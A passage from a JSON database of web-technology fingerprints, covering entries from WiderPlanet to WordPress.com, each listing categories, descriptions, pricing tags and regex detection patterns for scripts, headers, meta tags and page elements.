advertisements.\",\n    \"icon\": \"WiderPlanet.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.widerplanet\\\\.com/\"\n    ],\n    \"website\": \"https://widerplanet.com\"\n  },\n  \"WidgetWhats\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"WidgetWhats is a fully customizable chat widget with appearance, text, color, button style and position.\",\n    \"icon\": \"WidgetWhats.svg\",\n    \"js\": {\n      \"wwwa_loaded\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.widgetwhats\\\\.com/\"\n    ],\n    \"website\": \"https://widgetwhats.com\"\n  },\n  \"Wigzo\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Wigzo is e-commerce marketing automation platform that helps businesses of every size dig deeper into data to find opportunities to increase their sales and revenue.\",\n    \"icon\": \"Wigzo.png\",\n    \"js\": {\n      \"wigzo\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.wigzo\\\\.com\"\n    ],\n    \"website\": \"https://www.wigzo.com/\"\n  },\n  \"Wijmo\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Wijmo is a JavaScript UI component library built in TypeScript, ideal for developing lightweight, high-speed HTML5/JavaScript applications with no dependencies, and designed for enterprise use.\",\n    \"icon\": \"Wijmo.svg\",\n    \"js\": {\n      \"wijmo\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/Scripts/Acts/Wijmo/wijmo\\\\.min\\\\.js\\\\?v=([\\\\d]+\\\\.\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://developer.mescius.com/wijmo\"\n  },\n  \"Wiki.js\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Wiki.js is a wiki engine running on Node.js and written in JavaScript.\",\n    \"icon\": \"Wiki.js.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"WIKI.$_apolloInitData\": \"\",\n      \"WIKI.$apolloProvider\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://js.wiki\"\n  },\n  \"Wikinggruppen\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Wikinggruppen is a Swedish company specializing in ecommerce solutions, offering custom platform development, CMS integration, and technical support.\",\n    \"html\": [\n      \"<!-- WIKINGGRUPPEN\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"wikinggruppen.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wikinggruppen.se\"\n  },\n  \"WikkaWiki\": {\n    \"cats\": [\n      8\n    ],\n    \"cpe\": \"cpe:2.3:a:wikkawiki:wikkawiki:*:*:*:*:*:*:*:*\",\n    \"description\": \"WikkaWiki is an open-source wiki application written in PHP.\",\n    \"html\": [\n      \"Powered by <a href=\\\"[^>]+WikkaWiki\"\n    ],\n    \"icon\": \"WikkaWiki.png\",\n    \"meta\": {\n      \"generator\": \"WikkaWiki\"\n    },\n    \"website\": \"https://wikkawiki.org\"\n  },\n  \"WildJar\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"WildJar is a call tracking and intelligence platform which helps you understand where your leads are coming from, who is calling you, what your conversations are about and connect that data into other platforms.\",\n    \"icon\": \"WildJar.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"trkcall\\\\.com/scripts\"\n    ],\n    \"website\": \"https://www.wildjar.com\"\n  },\n  \"Windows CE\": {\n    \"cats\": [\n      28\n    ],\n    \"description\": \"Windows CE is an operating system designed for small footprint devices or embedded systems.\",\n    \"headers\": {\n      \"Server\": \"\\\\bWinCE\\\\b\"\n    },\n    \"icon\": \"Microsoft.svg\",\n    \"website\": \"https://microsoft.com\"\n  },\n  \"Windows Server\": {\n    \"cats\": [\n      28\n    ],\n    \"description\": \"Windows Server is a brand name for a group of server operating systems.\",\n    \"headers\": {\n      \"Server\": \"Win32|Win64\"\n    },\n    \"icon\": \"WindowsServer.png\",\n    \"website\": \"https://microsoft.com/windowsserver\"\n  },\n  \"WineDirect\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"WineDirect is an all-in-one ecommerce and POS (Point of Sale) platform that is specifically designed for wineries and wine retailers.\",\n    \"icon\": \"WineDirect.svg\",\n    \"js\": {\n      \"vin65.checkout\": \"\",\n      \"vin65remote\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^WineDirect\\\\sEcommerce\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.winedirect.com\"\n  },\n  \"Wink\": {\n    \"cats\": [\n      26,\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:wink:wink:*:*:*:*:*:android:*:*\",\n    \"description\": \"Wink Toolkit is a JavaScript toolkit used to build mobile web apps.\",\n    \"icon\": \"Wink.png\",\n    \"js\": {\n      \"wink.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"(?:_base/js/base|wink).*\\\\.js\"\n    ],\n    \"website\": \"https://winktoolkit.org\"\n  },\n  \"Winstone Servlet Container\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"Winstone Servlet (?:Container|Engine) v?([\\\\d.]+)?\\\\;version:\\\\1\",\n      \"X-Powered-By\": \"Winstone(?:\\\\/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://winstone.sourceforge.net\"\n  },\n  \"Winter CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Winter CMS is an open source content management framework built on the Laravel PHP framework for rapid development.\",\n    \"icon\": \"WinterCMS.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"meta\": {\n      \"author\": \"^Winter CMS$\",\n      \"generator\": \"^Winter CMS$\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wintercms.com\"\n  },\n  \"Wipe Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Wipe Analytics provides user behavior analysis for high-traffic and dynamically generated websites.\",\n    \"icon\": \"Wipe Analytics.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wipe\\\\.de/wwa\\\\.js\"\n    ],\n    \"website\": \"https://wipe-analytics.de\"\n  },\n  \"Wirecard\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Wirecard is a defunct German payment processor and financial services provider.\",\n    \"icon\": \"Wirecard.svg\",\n    \"js\": {\n      \"WirecardHPP\": \"\",\n      \"WirecardPaymentPage\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wirecard\\\\.com/\"\n    ],\n    \"website\": \"https://www.wirecard.com\"\n  },\n  \"Wisepops\": {\n    \"cats\": [\n      5,\n      32\n    ],\n    \"description\": \"Wisepops is an intelligent popup and marketing automation system that offers marketers a single platform from which to create and manage website popups.\",\n    \"icon\": \"Wisepops.svg\",\n    \"js\": {\n      \"WisePopsObject\": \"\",\n      \"wisepops._api\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"loader\\\\.wisepops\\\\.com/get-loader\\\\.js\"\n    ],\n    \"website\": \"https://wisepops.com\"\n  },\n  \"WiserNotify\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"WiserNotify is a platform offering social proof and FOMO features for ecommerce sites.\",\n    \"dom\": [\n      \"link[href*='app.wisernotify.com/']\"\n    ],\n    \"icon\": \"WiserNotify.svg\",\n    \"js\": {\n      \"wiser\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wisernotify.com\"\n  },\n  \"Wishlist King\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Wishlist King is a Shopify app which helps you to add your favorite products or share the wishlist with your friends built by Appmate.\",\n    \"icon\": \"Wishlist King.svg\",\n    \"js\": {\n      \"Appmate.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\\\\;confidence:1\",\n      \"Appmate.wk\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://appmate.io\"\n  },\n  \"Wistia\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Wistia is designed exclusively to serve companies using video on their websites for marketing, support, and sales.\",\n    \"icon\": \"Wistia.svg\",\n    \"js\": {\n      \"Wistia\": \"\",\n      \"wistiaEmbeds\": \"\",\n      \"wistiaUtils\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wistia\\\\.com\"\n    ],\n    \"website\": \"https://wistia.com\"\n  },\n  \"With Reach\": {\n    \"cats\": [\n      106\n    ],\n    \"description\": \"With Reach is a fintech/payments service provider that helps retailers connect with customers around the world.\",\n    \"icon\": \"With Reach.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.rch\\\\.io/\",\n      \"checkout\\\\.gointerpay\\\\.net\"\n    ],\n    \"website\": \"https://www.withreach.com\"\n  },\n  \"Wix\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"cookies\": {\n      \"Domain\": \"\\\\.wix\\\\.com\"\n    },\n    \"description\": \"Wix provides cloud-based web development services, allowing users to create HTML5 websites and mobile sites.\",\n    \"headers\": {\n      \"X-Wix-Renderer-Server\": \"\",\n      \"X-Wix-Request-Id\": \"\",\n      \"X-Wix-Server-Artifact-Id\": \"\"\n    },\n    \"icon\": \"Wix.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"js\": {\n      \"wixBiSession\": \"\",\n      \"wixPerformanceMeasurements\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Wix\\\\.com Website Builder\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.parastorage\\\\.com\"\n    ],\n    \"website\": \"https://www.wix.com\"\n  },\n  \"Wix Answers\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Wix Answers is a cloud-based help desk software.\",\n    \"dom\": [\n      \"iframe[src*='.wixanswers.com/']\"\n    ],\n    \"icon\": \"Wix Answers.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wixanswers\\\\.com/\"\n    ],\n    \"website\": \"https://www.wixanswers.com\"\n  },\n  \"Wix eCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"dom\": {\n      \"#wix-viewer-model\": {\n        \"text\": \"wixstores\"\n      }\n    },\n    \"icon\": \"Wix.svg\",\n    \"implies\": [\n      \"Wix\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.wix.com/freesitebuilder/tae-store\"\n  },\n  \"Wized\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Wized is a web application builder that enables the creation of apps without requiring any coding knowledge.\",\n    \"icon\": \"Wized.svg\",\n    \"js\": {\n      \"Wized.data\": \"\",\n      \"wized_config\": \"\",\n      \"wized_config_dev\": \"\"\n    },\n    \"requires\": [\n      \"Webflow\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.wized.io\"\n  },\n  \"WiziShop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"WiziShop is an ecommerce solution provider.\",\n    \"headers\": {\n      \"Server\": \"^WiziServer$\"\n    },\n    \"icon\": \"WiziShop.svg\",\n    \"js\": {\n      \"WIZIBLOCK_ARRAY\": \"\",\n      \"wiziblocks_list\": \"\",\n      \"wsCfg.bNavAjust\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wizishop.com\"\n  },\n  \"Wizpay\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Wizpay is a buy now pay later solution.\",\n    \"icon\": \"Wizpay.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wp-content/plugins/creditcorp-wizardpay/.+\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.wizpay.com.au\"\n  },\n  \"Wizzy\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Wizzy is a tool that simplifies ecommerce site search, enabling users to find relevant products, pages, and information.\",\n    \"icon\": \"Wizzy.svg\",\n    \"js\": {\n      \"WizzyFrontend\": \"\",\n      \"foundWizzyConfig\": \"\",\n      \"wizzyConfig.analytics\": \"\",\n      \"wizzyScriptLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wizzy.ai\"\n  },\n  \"Wolf CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Wolf CMS is an open-source, lightweight content management system written in PHP.\",\n    \"html\": [\n      \"(?:<a href=\\\"[^>]+wolfcms\\\\.org[^>]+>Wolf CMS(?:</a>)? inside|Thank you for using <a[^>]+>Wolf CMS)\"\n    ],\n    \"icon\": \"Wolf CMS.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/wolfcms/wolfcms\"\n  },\n  \"Wolfeo\": {\n    \"cats\": [\n      32,\n      71\n    ],\n    \"cookies\": {\n      \"wolfeo_new_session_5\": \"\"\n    },\n    \"description\": \"Wolfeo is an online platform for selling digital products and services, catering to coaches, consultants, and entrepreneurs.\",\n    \"icon\": \"Wolfeo.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wolfeo.fr\"\n  },\n  \"WolframAlpha\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"WolframAlpha is a tool that integrates live computational knowledge into blogs or websites.\",\n    \"icon\": \"WolframAlpha.svg\",\n    \"js\": {\n      \"WolframAlphaWidget\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.wolframalpha.com/widgets\"\n  },\n  \"Woltlab Community Framework\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"WoltLab Community Framework is a modular and extensible software platform designed for building and managing online communities with features like forums, blogs, and galleries.\",\n    \"icon\": \"Woltlab Community Framework.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"scriptSrc\": [\n      \"WCF\\\\..*\\\\.js\"\n    ],\n    \"website\": \"https://www.woltlab.com\"\n  },\n  \"Wonder\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"Wonder is an analytics and marketing tool that uses offline and online data to implement optimal marketing strategies aimed at achieving website goals, such as conversions.\",\n    \"icon\": \"Wonder.svg\",\n    \"js\": {\n      \"vmwondertracking\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wonder-ma\\\\.com/\"\n    ],\n    \"website\": \"https://www.wonder-ma.com\"\n  },\n  \"WooChat\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"WooChat is a marketing automation tool that helps store owners to grow their business.\",\n    \"dom\": [\n      \"link[href*='app.woochat.io/']\"\n    ],\n    \"icon\": \"WooChat.svg\",\n    \"js\": {\n      \"woochat_wa_chat_init\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://woochat.io\"\n  },\n  \"WooCommerce\": {\n    \"cats\": [\n      6,\n      87\n    ],\n    \"cpe\": \"cpe:2.3:a:woocommerce:woocommerce:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"WooCommerce is an open-source ecommerce plugin for WordPress.\",\n    \"dom\": [\n      \".woocommerce, .woocommerce-no-js, link[rel*='woocommerce']\"\n    ],\n    \"icon\": \"WooCommerce.svg\",\n    \"js\": {\n      \"woocommerce_params\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"WooCommerce ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"woocommerce\",\n      \"/woocommerce(?:\\\\.min)?\\\\.js(?:\\\\?ver=([0-9.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://woocommerce.com\"\n  },\n  \"WooCommerce Blocks\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WooCommerce Blocks offers a range of Gutenberg blocks you can use to build and customise your site.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/woo-gutenberg-products-block/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/woo-gutenberg-products-block/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"WooCommerce Blocks.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\",\n      \"WooCommerce\"\n    ],\n    \"website\": \"https://github.com/woocommerce/woocommerce-gutenberg-products-block\"\n  },\n  \"WooCommerce Multilingual\": {\n    \"cats\": [\n      87,\n      89\n    ],\n    \"description\": \"WooCommerce Multilingual plugin makes it possible to run fully multilingual ecommerce sites using WooCommerce and WPML.\",\n    \"icon\": \"WooCommerce Multilingual.svg\",\n    \"requires\": [\n      \"WordPress\",\n      \"WooCommerce\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/woocommerce-multilingual/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/woocommerce-multilingual\"\n  },\n  \"WooCommerce PayPal Checkout Payment Gateway\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WooCommerce PayPal Checkout Payment Gateway is a WordPress plugin which allows you to securely sell your products and subscriptions online using in-context checkout.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/woocommerce-gateway-paypal-express-checkout/']\"\n    ],\n    \"icon\": \"WooCommerce PayPal.png\",\n    \"implies\": [\n      \"PayPal\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/woocommerce-gateway-paypal-express-checkout/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/woocommerce/woocommerce-gateway-paypal-express-checkout\"\n  },\n  \"WooCommerce PayPal Payments\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WooCommerce PayPal Payments is a latest WordPress plugin with most complete payment processing solution. Accept PayPal exclusives, credit/debit cards and local payment methods.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/woocommerce-paypal-payments/']\"\n    ],\n    \"icon\": \"WooCommerce PayPal.png\",\n    \"implies\": [\n      \"PayPal\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/woocommerce-paypal-payments/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/woocommerce/woocommerce-paypal-payments\"\n  },\n  \"WooCommerce Stripe Payment Gateway\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WooCommerce Stripe Payment Gateway plugin extends WooCommerce allowing you to take payments directly on your store via Stripe’s API.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/woocommerce-gateway-stripe/']\"\n    ],\n    \"icon\": \"WooCommerce Stripe Payment Gateway.svg\",\n    \"implies\": [\n      \"Stripe\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/woocommerce-gateway-stripe/\"\n    ],\n    \"website\": \"https://woocommerce.com/products/stripe\"\n  },\n  \"WooCommerce Subscriptions\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"WooCommerce Subscriptions primarily allows you to create and sell subscription products from your WooCommerce shop.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/woocommerce-subscriptions/']\"\n    ],\n    \"icon\": \"WooCommerce.svg\",\n    \"implies\": [\n      \"WooCommerce\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://woocommerce.com/products/woocommerce-subscriptions\"\n  },\n  \"Woodmart\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Woodmart is a multipurpose WordPress theme offering for website creation and customization.\",\n    \"icon\": \"Woodmart.svg\",\n    \"js\": {\n      \"woodmartThemeModule\": \"\",\n      \"woodmart_settings\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://woodmart.xtemos.com\"\n  },\n  \"WookMark\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"WookMark is a plugin for laying out elements of varying heights in a column-based grid.\",\n    \"icon\": \"WookMark.svg\",\n    \"js\": {\n      \"Wookmark\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"wookmark\\\\.min\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wookmark.com\"\n  },\n  \"Woopra\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Woopra is a customer journey and product analytics software tool that helps businesses track user behavior and analyze customer interactions in real-time.\",\n    \"icon\": \"Woopra.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.woopra\\\\.com\"\n    ],\n    \"website\": \"https://www.woopra.com\"\n  },\n  \"Woostify\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Woostify is fast, lightweight, responsive and flexible WooCommerce theme built with SEO, speed, and usability in mind.\",\n    \"icon\": \"Woostify.svg\",\n    \"implies\": [\n      \"WooCommerce\"\n    ],\n    \"js\": {\n      \"woostifyConditionScrolling\": \"\",\n      \"woostify_woocommerce_general\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/woostify/\"\n    ],\n    \"website\": \"https://woostify.com\"\n  },\n  \"Wootric\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Wootric is a customer feedback platform designed to enhance customer experience management for digital applications and B2B SaaS.\",\n    \"icon\": \"Wootric.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.wootric\\\\.com\"\n    ],\n    \"scripts\": [\n      \"\\\\.wootric\\\\.com\"\n    ],\n    \"website\": \"https://www.wootric.com\"\n  },\n  \"WoowUp\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"WoowUp is a tool of CRM and predictive marketing.\",\n    \"icon\": \"WoowUp.svg\",\n    \"js\": {\n      \"WU._trackProductVTEXField\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets-cdn\\\\.woowup\\\\.com/\"\n    ],\n    \"website\": \"https://www.woowup.com\"\n  },\n  \"WordAds\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"WordAds is an advertising platform run by Automatic that allows bloggers and website owners to place advertisements on their blogs and websites.\",\n    \"dom\": [\n      \"link[href*='.pubmine.com']\"\n    ],\n    \"icon\": \"WordAds.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pubmine\\\\.com/\"\n    ],\n    \"website\": \"https://wordads.co\"\n  },\n  \"WordLift\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"WordLift is an AI tool that analyzes content, identifies key business topics, and enables the insertion of semantic markup without needing technical skills.\",\n    \"icon\": \"WordLift.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cloud\\\\.wordlift\\\\.io/\"\n    ],\n    \"website\": \"https://wordlift.io\"\n  },\n  \"WordPress\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"cpe\": \"cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*\",\n    \"description\": \"WordPress is a free and open-source content management system written in PHP and paired with a MySQL or MariaDB database. Features include a plugin architecture and a template system.\",\n    \"headers\": {\n      \"X-Pingback\": \"/xmlrpc\\\\.php$\",\n      \"link\": \"rel=\\\"https://api\\\\.w\\\\.org/\\\"\"\n    },\n    \"html\": [\n      \"<link rel=[\\\"']stylesheet[\\\"'] [^>]+/wp-(?:content|includes)/\",\n      \"<link[^>]+s\\\\d+\\\\.wp\\\\.com\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"js\": {\n      \"wp_username\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^WordPress(?: ([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"shareaholic:wp_version\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-(?:content|includes)/\",\n      \"wp-embed\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://wordpress.org\"\n  },\n  \"WordPress Default\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"WordPress Default is a default WordPress theme.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/default/']\"\n    ],\n    \"icon\": \"WordPress.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/default/\"\n    ],\n    \"website\": \"https://wordpress.org/themes/default\"\n  },\n  \"WordPress Multisite\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"A multisite network is a collection of sites that all share the same WordPress installation core files. \",\n    \"dom\": {\n      \"figure[style*='wp-content/uploads']\": {\n        \"attributes\": {\n          \"style\": \"wp-content/uploads/sites/\\\\d+\"\n        }\n      },\n      \"img[src*='wp-content/uploads'], img[srcset*='wp-content/uploads'], source[srcset*='wp-content/uploads']\": {\n        \"attributes\": {\n          \"src\": \"wp-content/uploads/sites/\\\\d+\",\n          \"srcset\": \"wp-content/uploads/sites/\\\\d+\"\n        }\n      },\n      \"style\": {\n        \"text\": \"wp-content/uploads/sites/\\\\d+\"\n      }\n    },\n    \"icon\": \"WordPress.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/documentation/article/create-a-network/\"\n  },\n  \"WordPress Popular Posts\": {\n    \"cats\": [\n      87,\n      5\n    ],\n    \"description\": \"WordPress Popular Posts is a plugin for the WordPress content management system that allows users to display a widget or shortcode featuring a list of the most popular posts on their website based on criteria such as pageviews or comments.\",\n    \"headers\": {\n      \"WordPressPopularPosts\": \"\"\n    },\n    \"icon\": \"WordPress Popular Posts.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wordpress-popular-posts/.+wpp\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/wordpress-popular-posts/\"\n  },\n  \"WordPress Super Cache\": {\n    \"cats\": [\n      23,\n      87\n    ],\n    \"description\": \"WordPress Super Cache is a static caching plugin for WordPress.\",\n    \"headers\": {\n      \"WP-Super-Cache\": \"\"\n    },\n    \"html\": [\n      \"<!--[^>]+WP-Super-Cache\"\n    ],\n    \"icon\": \"wp_super_cache.png\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://z9.io/wp-super-cache/\"\n  },\n  \"WordPress VIP\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"WordPress VIP is a managed hosting platform for WordPress.\",\n    \"headers\": {\n      \"x-powered-by\": \"^WordPress VIP|wpvip\\\\.com\"\n    },\n    \"icon\": \"wpvip.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wpvip.com\"\n  },\n  \"WordPress.com\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"WordPress.com is a platform for self-publishing that is popular for blogging and other works.\",\n    \"headers\": {\n      \"host-header\": \"WordPress\\\\.com\"\n    },\n    \"icon\": 